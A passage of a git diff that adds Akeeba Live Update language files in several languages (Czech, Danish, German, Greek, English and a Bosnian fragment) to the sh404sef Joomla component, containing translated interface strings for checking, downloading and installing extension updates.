informacije o nadogradnji"_QQ_" dugme ispod. Ako to rezultira sa praznom stranicom, molimo kontaktirajte svoj host i prijavite ovaj problem." + +LIVEUPDATE_ERROR_NEEDSAUTH="Morate obezbijediti vaše korisničko ime/šifru ili ID za preuzimanje na parametre komponente prije pokušavanja nadogradnej na zadnje izdanje. Dugme za nadogradnju će ostati isključeno sve dok to ne učinite." +LIVEUPDATE_HASUPDATES_HEAD="Dostupna je nova verzija" +LIVEUPDATE_NOUPDATES_HEAD="Već posjedujete posljednju verziju" +LIVEUPDATE_CURRENTVERSION="Instalirana verzija" +LIVEUPDATE_LATESTVERSION="Posljednja verzija" +LIVEUPDATE_LATESTRELEASED="Datum posljednjeg izdanja" +LIVEUPDATE_DOWNLOADURL="Direktan URL za preuzimanje" + +LIVEUPDATE_REFRESH_INFO="Osvježi informacije o nadogradnji" +LIVEUPDATE_DO_UPDATE="Nadogradi na posljednju verziju" + +LIVEUPDATE_FTP_REQUIRED="Nadogradnja uživo je odredila da je potrebna upotreba FTP-a kako bi se preuzela i instalirala vaša nadogradnja, ali niste snimili vaše FTP informacije za prijavu u Joomla! globalnoj konfiguraciji.

    Molimo da obezbjedite FTP korisničko ime i šifru ispod kako bi nastavili sa nadogradnjom." +LIVEUPDATE_FTP="FTP informacija" +LIVEUPDATE_FTPUSERNAME="FTP korisničko ime" +LIVEUPDATE_FTPPASSWORD="FTP šifra" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Preuzmi i instaliraj nadogradnju" + +LIVEUPDATE_DOWNLOAD_FAILED="Preuzimanje paketa nadogradnje je neuspješno. Provjerite da li je vaš privremeni direktorij zapisiv ili da li imate uključene Joomla! FTP opcije na vašoj globalnoj konfiguraciji za stranicu." +LIVEUPDATE_EXTRACT_FAILED="Otpakivanje paketa nadogradnje neuspješno. Molimo da pokušate ručno nadograditi ekstenziju." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Nevažeći tip paketa. Nadogradnja se ne može nastaviti." +LIVEUPDATE_INSTALLEXT="Instaliraj %s %s" +LIVEUPDATE_ERROR="Greška" +LIVEUPDATE_SUCCESS="Uspjeh" + +LIVEUPDATE_ICON_UNSUPPORTED="Nadogradnja uživo nije podržana" +LIVEUPDATE_ICON_CRASHED="Nadogradnja uživo se srušila" +LIVEUPDATE_ICON_CURRENT="Posjedujete posljednju verziju" +LIVEUPDATE_ICON_UPDATES="NADOGRADNJA PRONAĐENA! KLIKNITE ZA NADOGRADNJU." + +LIVEUPDATE_RELEASEINFO="Informacije" +LIVEUPDATE_RELEASENOTES="Obavijesti o izdanju" +LIVEUPDATE_READMOREINFO="Pročitaj više" + +LIVEUPDATE_NAGSCREEN_HEAD="UPOZORENJE! Upravo će te instalirati nestabilnu verziju." +LIVEUPDATE_NAGSCREEN_BODY="Upravo će te instalirati nestabilnu verziju (%s - %s). Nestabilne verzije su prošle minimalno ili nikakvo testiranje i sadrže greške koje štete stabilnosti i funkcionalnosti vaše web-stranice. Ako niste sigurno šta će te raditi, molimo da zatvorite prozor preglednika. Ako se potpuno sigurni da razumijete rizike uključene za instalacijom nestabilnih izdanja, molimo da kliknete dugme ispod kako bi nastavili instalaciju ovog nestabilnog izdanja." +LIVEUPDATE_NAGSCREEN_BUTTON="Razumijem rizike. Nastavi sa instalacijom." + +LIVEUPDATE_STABILITY_ALPHA="Alfa" +LIVEUPDATE_STABILITY_BETA="Beta" +LIVEUPDATE_STABILITY_RC="RC" +LIVEUPDATE_STABILITY_STABLE="Stabilna" +LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/cs-CZ/cs-CZ.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/cs-CZ/cs-CZ.liveupdate.ini new file mode 100644 index 00000000..a2a11bce --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/cs-CZ/cs-CZ.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Aktualizace" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Tento server nepodporuje kontrolu aktualizací" +LIVEUPDATE_NOTSUPPORTED_INFO="Nastavení Vašeho serveru nedovoluje spustit aktualizaci. Kontaktujte prosím provozovatele serveru a požádejte ho o zprovoznění PHP rozšíření cUrl nebo o povolení možnosti allow_url_fopen. Pokud je jedna z těchto možností již povolena, požádejte o prověření nastavení firewall, zda je povolena komunikace s následující adresou URL:" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Aktualizaci rozšíření %s můžete provést ručně, stažením nejnovější verze z našich stránek a instalací ve správci rozšíření." + +LIVEUPDATE_STUCK_HEAD="Poslední pokus o získání aktualizace se nezdařil" +LIVEUPDATE_STUCK_INFO="Poslední pokus o komunikaci se serverem aktualizací se nezdařil. Obvykle je to způsobeno nastavením serveru, které neumožňuje komunikaci s jinými servery. Pro opětovný pokus získání informací o aktualizacích stiskněte tlačítko "_QQ_"Aktualizovat informace"_QQ_". Pokud se Vám po stisknutí tohoto tlačítka zobrazí prázdná bílá stránka, kontaktujte prosím provozovatele serveru." + +LIVEUPDATE_ERROR_NEEDSAUTH="Tato aktualizace vyžaduje vyplněné Přihlašovací jméno a Heslo, nebo Klientské ID (Download ID) v nastavení komponenty. Po vyplnění potřebných informací bude povoleno tlačítko Aktualizovat." +LIVEUPDATE_HASUPDATES_HEAD="Je k dispozici nová verze" +LIVEUPDATE_NOUPDATES_HEAD="Instalovaná verze je aktuální" +LIVEUPDATE_CURRENTVERSION="Instalovaná verze" +LIVEUPDATE_LATESTVERSION="Nejnovější verze" +LIVEUPDATE_LATESTRELEASED="Datum nejnovější verze" +LIVEUPDATE_DOWNLOADURL="Adresa pro ruční stažení" + +LIVEUPDATE_REFRESH_INFO="Najít aktualizace" +LIVEUPDATE_DO_UPDATE="Aktualizovat" + +LIVEUPDATE_FTP_REQUIRED="Pro dokončení instalace na Vašem serveru je nutné využít vrstvu FTP, v globálním nastavení Joomla! však nejsou vyplněny všechna potřebná nastavení.

    Vyplňte prosím informace pro připojení k serveru FTP níže." +LIVEUPDATE_FTP="Nastavení FTP" +LIVEUPDATE_FTPUSERNAME="FTP Přihlašovací jméno" +LIVEUPDATE_FTPPASSWORD="FTP Heslo" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Stáhnout a nainstalovat aktualizaci" + +LIVEUPDATE_DOWNLOAD_FAILED="Nepodařilo se stáhnout aktualizační balíček. Ověřte prosím, zda je Vaše dočasná složka zapisovatelná, nebo zda máte povolenu Vrstvu FTP v globálním nastavení Joomla!." +LIVEUPDATE_EXTRACT_FAILED="Nepodařilo se rozbalit aktualizační balíček. Zkuste prosím rozšíření aktualizovat ručně." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Nebyl rozpoznán formát aktualizačního balíčku. V aktualizaci nelze pokračovat." +LIVEUPDATE_INSTALLEXT="Instalovat %s %s" +LIVEUPDATE_ERROR="Chyba" +LIVEUPDATE_SUCCESS="Dokončeno" + +LIVEUPDATE_ICON_UNSUPPORTED="Aktualizace není podporována" +LIVEUPDATE_ICON_CRASHED="Aktualizace skončila chybou" +LIVEUPDATE_ICON_CURRENT="Vaše verze je aktuální" +LIVEUPDATE_ICON_UPDATES="NALEZENA NOVÁ VERZE! AKTUALIZOVAT" + +LIVEUPDATE_RELEASEINFO="Informace" +LIVEUPDATE_RELEASENOTES="Poznámky k verzi" +LIVEUPDATE_READMOREINFO="Podrobnosti" + +LIVEUPDATE_NAGSCREEN_HEAD="UPOZORNĚNÍ! Chystáte se instalovat nestabilní verzi." +LIVEUPDATE_NAGSCREEN_BODY="Chystáte se instalovat nestabilní verzi (%s - %s). Nestabilní verze jsou minimálně, nebo nejsou vůbec testovány a mohou obsahovat chyby, ovlivňující stabilitu a funkčnost Vašich stránek. Pokud si nejste jisti tím co děláte, uzavřete prosím okno prohlížeče. Pokud jste si naprosto jisti a rozumíte rizikům spojeným s instalací nestabilní verze, klikněte na tlačítko níže pro pokračování v instalaci této nestabilní verze." +LIVEUPDATE_NAGSCREEN_BUTTON="Rozumím rizikům. Pokračovat v instalaci." + +LIVEUPDATE_STABILITY_ALPHA="Alfa" +LIVEUPDATE_STABILITY_BETA="Beta" +LIVEUPDATE_STABILITY_RC="RC" +LIVEUPDATE_STABILITY_STABLE="Stable" +LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/da-DK/da-DK.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/da-DK/da-DK.liveupdate.ini new file mode 100644 index 00000000..f524f162 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/da-DK/da-DK.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Live Opdatering" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Live opdatering understøttes ikke af denne server" +LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live opdatering ikke er understøttet. Kontakt venligst din udbyder og spørg dem om at aktivere cURL PHP udvidelsen eller aktivere URL fopen() wrappers. Hvis disse allerede er aktive, så spørg dem venligst om at konfigurere deres firewall, således at den tillader adgang til følgende :" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan altid opdatere %s ved at besøge vores hjemmeside manuelt og hente den seneste udgivelse og derefter installere den ved at bruge Joomla!'s udvidelsesinstalleren." + +LIVEUPDATE_STUCK_HEAD="Live opdatering melder at den gik ned" +LIVEUPDATE_STUCK_INFO="Live opdatering opdagede at den gik ned sidste gang den prøvede at kontakte opdateringsserveren. Dette indikerer nomalt en udbyder der aktivt blokerer kommunikation med eksterne sider. Hvis du vil forsøge at hente opdateringsinformationen igen, klik da venligst på "_QQ_"Opdatér opdateringsinformation"_QQ_" herunder. Hvis det resulterer i en blank side, så kontakt venligst din udbyder og rapportér dette problem." + +LIVEUPDATE_ERROR_NEEDSAUTH="Du skal angive dit brugernavn/adgangskode eller Overførsel's ID i komponenten's indstillinger, før du kan opdatere til den seneste version. Opdateringsknappen vil forblive inaktiv indtil da." +LIVEUPDATE_HASUPDATES_HEAD="En ny version er tilgængelig" +LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den seneste version" +LIVEUPDATE_CURRENTVERSION="Installeret version" +LIVEUPDATE_LATESTVERSION="Seneste version" +LIVEUPDATE_LATESTRELEASED="Seneste udgivelsesdato" +LIVEUPDATE_DOWNLOADURL="Direkte link" + +LIVEUPDATE_REFRESH_INFO="Opdatér opdateringsinformation" +LIVEUPDATE_DO_UPDATE="Opdatér til seneste version" + +LIVEUPDATE_FTP_REQUIRED="Live opdatering har opdaget at den skal bruge FTP for at kunne overføre og installere din opdatering, men du har ikke gemt en FTP log ind information i din Joomla!'s konfiguration.

    Angiv venligst FTP brugernavn og adgangskode herunder for at fortsætte med opdateringen." +LIVEUPDATE_FTP="FTP information" +LIVEUPDATE_FTPUSERNAME="FTP Brugernavn" +LIVEUPDATE_FTPPASSWORD="FTP Adgangskode" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Overfør og installér opdatering" + +LIVEUPDATE_DOWNLOAD_FAILED="Overførsel af opdateringspakken fejlede. Vær venligst sikker på der kan skrives til din midlertidige mappe og at du har aktiveret Joomla!'s FTP mulighed i Joomla!'s konfiguration." +LIVEUPDATE_EXTRACT_FAILED="Udpakning af opdateringspakken fejlede. Opdatér venligst udvidelsen manuelt." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Opdateringen kan ikke fortsætte." +LIVEUPDATE_INSTALLEXT="Installér %s %s" +LIVEUPDATE_ERROR="Fejl" +LIVEUPDATE_SUCCESS="Korrekt" + +LIVEUPDATE_ICON_UNSUPPORTED="Live opdatering er ikke understøttet" +LIVEUPDATE_ICON_CRASHED="Live opdatering gik ned" +LIVEUPDATE_ICON_CURRENT="Du har den seneste version" +LIVEUPDATE_ICON_UPDATES="OPDATERING FUNDET! OPDATER NU." + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/de-DE/de-DE.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/de-DE/de-DE.liveupdate.ini new file mode 100644 index 00000000..eba30637 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/de-DE/de-DE.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Echtzeitaktualisierung" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Die Echtzeitaktualisierung wird auf diesem Server nicht unterstützt" +LIVEUPDATE_NOTSUPPORTED_INFO="Ihr Server zeigt an, dass die Echtzeitaktualisierung nicht unterstützt wird. Bitte kontaktieren Sie Ihren Anbieter und bitten ihn, die cURL-PHP-Erweiterung zu aktivieren oder die URL fopen() Wrapper. Sollten diese schon aktviert sein, bitten Sie ihn, die Firewall so zu konfigurieren, dass sie den Zugriff auf folgende URL zulässt:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sie können immer aktualisieren %s indem Sie unsere Internetseite besuchen, die neueste Version herunterladen und ganz normal installieren." + +LIVEUPDATE_STUCK_HEAD="Die Echtzeitaktualisierung hat sich selbst als abgestürzt gemeldet" +LIVEUPDATE_STUCK_INFO="Die Echtzeitaktualisierung hat festgestellt, dass sie beim letzten Versuch den Aktualisierungsserver zu erreichen abgestürzt ist. Dies deutet meist auf einen Anbieter hin, der die Kommunikation mit externen Servern blockiert. Sollten Sie die Aktulalisierungsinformationen nochmals abrufen wollen, klicken Sie bitte auf den Knopf "_QQ_"Aktualisierungsinformationen abrufen"_QQ_". Sollte dieser Versuch auf einer weißen Seite enden, melden Sie diesen Fehler ihrem Anbieter." + +LIVEUPDATE_ERROR_NEEDSAUTH="Bevor Sie eine Echtzeitaktualisierung durchführen können, müssen Sie Ihren Benutzernamen, das Passwort bzw. die Download-ID angeben. Der Aktualisierungsknopf wird solange ohne Funktion bleiben." +LIVEUPDATE_HASUPDATES_HEAD="Es gibt eine neue Version" +LIVEUPDATE_NOUPDATES_HEAD="Sie haben die aktuelle Version" +LIVEUPDATE_CURRENTVERSION="Installierte Version" +LIVEUPDATE_LATESTVERSION="Neueste Version" +LIVEUPDATE_LATESTRELEASED="Neuestes Veröffentlichungsdatum" +LIVEUPDATE_DOWNLOADURL="Direkte Download-URL" + +LIVEUPDATE_REFRESH_INFO="Aktualisierungsinformationen abrufen" +LIVEUPDATE_DO_UPDATE="Auf die neueste Version aktualisieren" + +LIVEUPDATE_FTP_REQUIRED="Die Echtzeitaktualisierung hat festgestellt, dass FTP für die Aktualisierung und Installation verwednet werden muss. Sie haben aber noch keine FTP-Daten in der Joomla!-Konfiguraton angegeben.

    BItte geben Sie Ihre FTP-Daten ein, bevor Sie mit der Aktualisierung fortfahren." +LIVEUPDATE_FTP="FTP Informationen" +LIVEUPDATE_FTPUSERNAME="FTP Benutzername" +LIVEUPDATE_FTPPASSWORD="FTP Passwort" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Aktualisierung herunterladen und installieren" + +LIVEUPDATE_DOWNLOAD_FAILED="Das Herunterladen des Aktualisierungspakets ist fehlgeschlagen. Bitte stellen Sie sicher, dass Ihr temp-Verzeichnis Schreibrechte besitzt und Sie Ihre FTP-Nutzerdaten in der Joomla!-Konfiguration angegeben haben." +LIVEUPDATE_EXTRACT_FAILED="Das Auspacken des Aktualisierungspakets ist fehlgeschlagen. Bitte aktualisieren Sie die Erweiterung manuell." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Falscher Aktualisierungspakettyp. Die Aktualisierung kann nicht durchgeführt werden." +LIVEUPDATE_INSTALLEXT="Installiere %s %s" +LIVEUPDATE_ERROR="Fehler" +LIVEUPDATE_SUCCESS="Erfolg" + +LIVEUPDATE_ICON_UNSUPPORTED="Echtzeitaktualisierung nicht unterstützt" +LIVEUPDATE_ICON_CRASHED="Live Update abgestürzt" +LIVEUPDATE_ICON_CURRENT="Sie haben die aktuelle Version" +LIVEUPDATE_ICON_UPDATES="AKTUALISIERUNG GEFUNDEN! JETZT AKTUALISIEREN." + +LIVEUPDATE_RELEASEINFO="Information" +LIVEUPDATE_RELEASENOTES="Infos zur Veröffentlichung" +LIVEUPDATE_READMOREINFO="Weiterlesen" + +LIVEUPDATE_NAGSCREEN_HEAD="ACHTUNG! Sie sind dabei, eine instabile Version zu installieren." +LIVEUPDATE_NAGSCREEN_BODY="Sie sind dabei, eine instabile Version zu installieren (%s - %s). Instabile Versionen sind noch in Entwicklung oder nicht final getestet und können Bugs enthalten, die die Stabilität und Funktionalität Ihrer Webseite beeinträchtigen können. Wenn Sie nicht sicher sind, was Sie tun sollen, dann schließen Sie dieses Browserfenster. Sollten Sie absolut sicher sein, dass Sie das Risiko eingehen und die möglichen Folgen einer unfertigen Version auf eigene Gefahr in Kauf nehmen wollen, klicken Sie auf den unten stehenden Button um die instabile Version zu installieren." +LIVEUPDATE_NAGSCREEN_BUTTON="Ich kenne die Risiken. Mit der Installation fortfahren." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/el-GR/el-GR.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/el-GR/el-GR.liveupdate.ini new file mode 100644 index 00000000..ae5f4bb6 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/el-GR/el-GR.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Απευθείας Ενημέρωση" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Η Απευθείας Ενημέρωση δεν υποστηρίζεται από αυτόν τον διακομιστή" +LIVEUPDATE_NOTSUPPORTED_INFO="Ο διακομιστής σας δείχνει ότι η Απευθείας Ενημέρωση δεν υποστηρίζεται. Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε του να ενεργοποιήσει την επέκταση cURL της PHP ή τους URL fopen() wrappers. Εάν είναι ήδη ενεργοποιημένα, παρακαλώ ζητήστε του να ανοίξει το τείχος ασφαλείας ώστε να επιτρέπει την πρόσβαση στην παρακάτω διεύθυνση URL:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Μπορείτε πάντα να ενημερώστε το λογισμικό %s επισκεπτόμενοι τον ιστότοπό μας, κατεβάζοντας την τελευταία έκδοση και εγκαθιστόντας την με την εγκατάσταση εφαρμογών του Joomla!." + +LIVEUPDATE_STUCK_HEAD="Η Απευθείας Ενημέρωση ανίχνευσε αποτυχία λειτουργίας" +LIVEUPDATE_STUCK_INFO="Η Απευθείας Ενημέρωση εντόπισε ότι η τελευταία απόπειρα επικοινωνίας με τον διακομιστή ενημερώσεων κατέληξε σε κόλλημα. Αυτό συνήθως υποδυκνείει έναν πάροχο φιλοξενίας που μπλοκάρει ενεργά τις προσπάθειες επικοινωνίας με εξωετρικούς ιστοχώρους. Εάν θα θέλατε να δοκιμάσετε να ξαναπροσπαθήσουμε να λάβουμε τις πληροφορίες ενημέρωσεις, παρακαλώ κάντε κλικ στο κουμπί "_QQ_"Ανανέωση πληροφοριών ενημερώσεων"_QQ_" πιο κάτω. Εάν αυτό οδηγήσει σε λευκή σελίδα, παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας και αναφέρετε αυτό το πρόβλημα." + +LIVEUPDATE_ERROR_NEEDSAUTH="Πρέπει να εισάγετε το όνομα χρήστη και συνθηματικό ή το Αναγνωριστικό Μεταφόρτωσης στις παραμέτρους της εφαρμογής πριν προσπαθήσετε να αναβαθμίσετε στην τελευταία έκδοση. Το κουμπί ενημέρωσης θα παραμείνει ανενεργό έως ότου το κάνετε." +LIVEUPDATE_HASUPDATES_HEAD="Μια νέα έκδοση είναι διαθέσιμη" +LIVEUPDATE_NOUPDATES_HEAD="Έχετε ήδη την τελευταία έκδοση" +LIVEUPDATE_CURRENTVERSION="Εγκατεστημένη έκδοση" +LIVEUPDATE_LATESTVERSION="Τελευταία έκδοση" +LIVEUPDATE_LATESTRELEASED="Ημερομηνία έκδοσης" +LIVEUPDATE_DOWNLOADURL="Διεύθυνση απευθείας μεταφόρτωσης" + +LIVEUPDATE_REFRESH_INFO="Ανανέωση πληροφοριών ενημερώσεων" +LIVEUPDATE_DO_UPDATE="Ενημέρωση στην τελευταία έκδοση" + +LIVEUPDATE_FTP_REQUIRED="Η Απευθείας Ενημέρωση εντόπισε ότι απαιτείται η χρήση FTP για να μεταφορτώσει και να εγκαταστήσει την ενημέρωσή σας, αλλά δεν έχετε σώσει τις πληροφορίες εισόδου στο FTP στις Γενικές Ρυθμίσεις του Joomla!.

    Παρακαλώ εισάγετε το όνομα χρήστη και το συνθηματικό για το FTP προκειμένου να προχωρήσετε με την ενημέρωση." +LIVEUPDATE_FTP="Πληροφορίες FTP" +LIVEUPDATE_FTPUSERNAME="Όνομα Χρήστη FTP" +LIVEUPDATE_FTPPASSWORD="Συνθηματικό FTP" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Μεταφόρτωση και εγκατάσταση ενημέρωσης" + +LIVEUPDATE_DOWNLOAD_FAILED="Η μεταφόρτωση του πακέτου ενημέρωσης απέτυχε. Παρακαλώ βεβαιωθείτε ότι ο κάταλογος προσωρινής αποθήκευσης είναι εγγράψιμος ή ότι έχετε ενεργοποιήσει τις επιλογές FTP στις Γενικές Ρυθμίσεις του ιστοχώρου σας." +LIVEUPDATE_EXTRACT_FAILED="Η αποσυμπίεση του πακέτου αναβάθμισης απέτυχε. Παρακαλώ δοκιμάστε να εγκαταστήσετε την επέκταση χειροκίνητα." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Ο τύπος του πακέτου δεν είναι έγκυρος. Η αναβάθμιση δεν μπορεί να συνεχίσει." +LIVEUPDATE_INSTALLEXT="Εγκατάσταση %s %s" +LIVEUPDATE_ERROR="Σφάλμα" +LIVEUPDATE_SUCCESS="Επιτυχία" + +LIVEUPDATE_ICON_UNSUPPORTED="Η Απευθείας Ενημέρωση δεν υποστηρίζεται" +LIVEUPDATE_ICON_CRASHED="Η Απευθείας Ενημέρωση κόλλησε" +LIVEUPDATE_ICON_CURRENT="Έχετε την τελευταία έκδοση" +LIVEUPDATE_ICON_UPDATES="ΒΡΕΘΗΚΕ ΕΝΗΜΕΡΩΣΗ! ΚΑΝΤΕ ΚΛΙΚ ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ." + +LIVEUPDATE_RELEASEINFO="Πληροφορίες" +LIVEUPDATE_RELEASENOTES="Σημειώσεις έκδοσης" +LIVEUPDATE_READMOREINFO="Διαβάστε περισσότερα" + +LIVEUPDATE_NAGSCREEN_HEAD="ΠΡΟΣΟΧΗ! Πρόκειται να εγκαταστήσετε μια ασταθή έκδοση." +LIVEUPDATE_NAGSCREEN_BODY="Πρόκειται να εγκαταστήσετε μια ασταθή έκδοση (%s - %s). Οι ασταθείς εκδόσεις μπορεί να έχουν υποβληθεί σε ελάχιστο ή περιορισμένο ποιοτικό έλεγχο και να περιέχουν σφάλματα που μπορεί να έχουν σοβαρές παρενέργειες στην σταθερότητα και λειτουργία τουιστοχώρου σας. Εάν δεν είστε βέβαιος για αυτό που πρόκειται να κάνετε, παρακαλώ κλείστε αυτό το παράθυρο του περιηγητή σας. Εάν κατανοείτε πλήρως τους κινδύνους που συνοδεύουν την εγκατάσταση ασταθών εκδόσεων παρακαλώ κάντε κλικ στο παρακάτω κουμπί για να συνεχίσετε την εγκατάσταση αυτής της ασταθούς έκδοσης." +LIVEUPDATE_NAGSCREEN_BUTTON="Καταννοώ τους κινδύνους. Συνέχισε την εγκατάσταση." + +LIVEUPDATE_STABILITY_ALPHA="Άλφα" +LIVEUPDATE_STABILITY_BETA="Βήτα" +LIVEUPDATE_STABILITY_RC="Υποψήφια Έκδοσης" +LIVEUPDATE_STABILITY_STABLE="Σταθερή" +LIVEUPDATE_STABILITY_SVN="Έκδοση Προγραμματιστή" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/en-GB/en-GB.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/en-GB/en-GB.liveupdate.ini new file mode 100644 index 00000000..9a84617f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/en-GB/en-GB.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Live Update" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" +LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." + +LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" +LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "_QQ_"Refresh update information"_QQ_" button below. If that results to a blank page, please contact your host and report this issue." + +LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." +LIVEUPDATE_HASUPDATES_HEAD="A new version is available" +LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" +LIVEUPDATE_CURRENTVERSION="Installed version" +LIVEUPDATE_LATESTVERSION="Latest version" +LIVEUPDATE_LATESTRELEASED="Latest release date" +LIVEUPDATE_DOWNLOADURL="Direct download URL" + +LIVEUPDATE_REFRESH_INFO="Refresh update information" +LIVEUPDATE_DO_UPDATE="Update to the latest version" + +LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

    Please provide the FTP username and password below to proceed with the update." +LIVEUPDATE_FTP="FTP Information" +LIVEUPDATE_FTPUSERNAME="FTP Username" +LIVEUPDATE_FTPPASSWORD="FTP Password" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" + +LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." +LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." +LIVEUPDATE_INSTALLEXT="Install %s %s" +LIVEUPDATE_ERROR="Error" +LIVEUPDATE_SUCCESS="Success" + +LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" +LIVEUPDATE_ICON_CRASHED="Live Update crashed" +LIVEUPDATE_ICON_CURRENT="You have the latest version" +LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE." + +LIVEUPDATE_RELEASEINFO="Information" +LIVEUPDATE_RELEASENOTES="Release notes" +LIVEUPDATE_READMOREINFO="Read more" + +LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an adverse effect to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +LIVEUPDATE_STABILITY_ALPHA="Alpha" +LIVEUPDATE_STABILITY_BETA="Beta" +LIVEUPDATE_STABILITY_RC="RC" 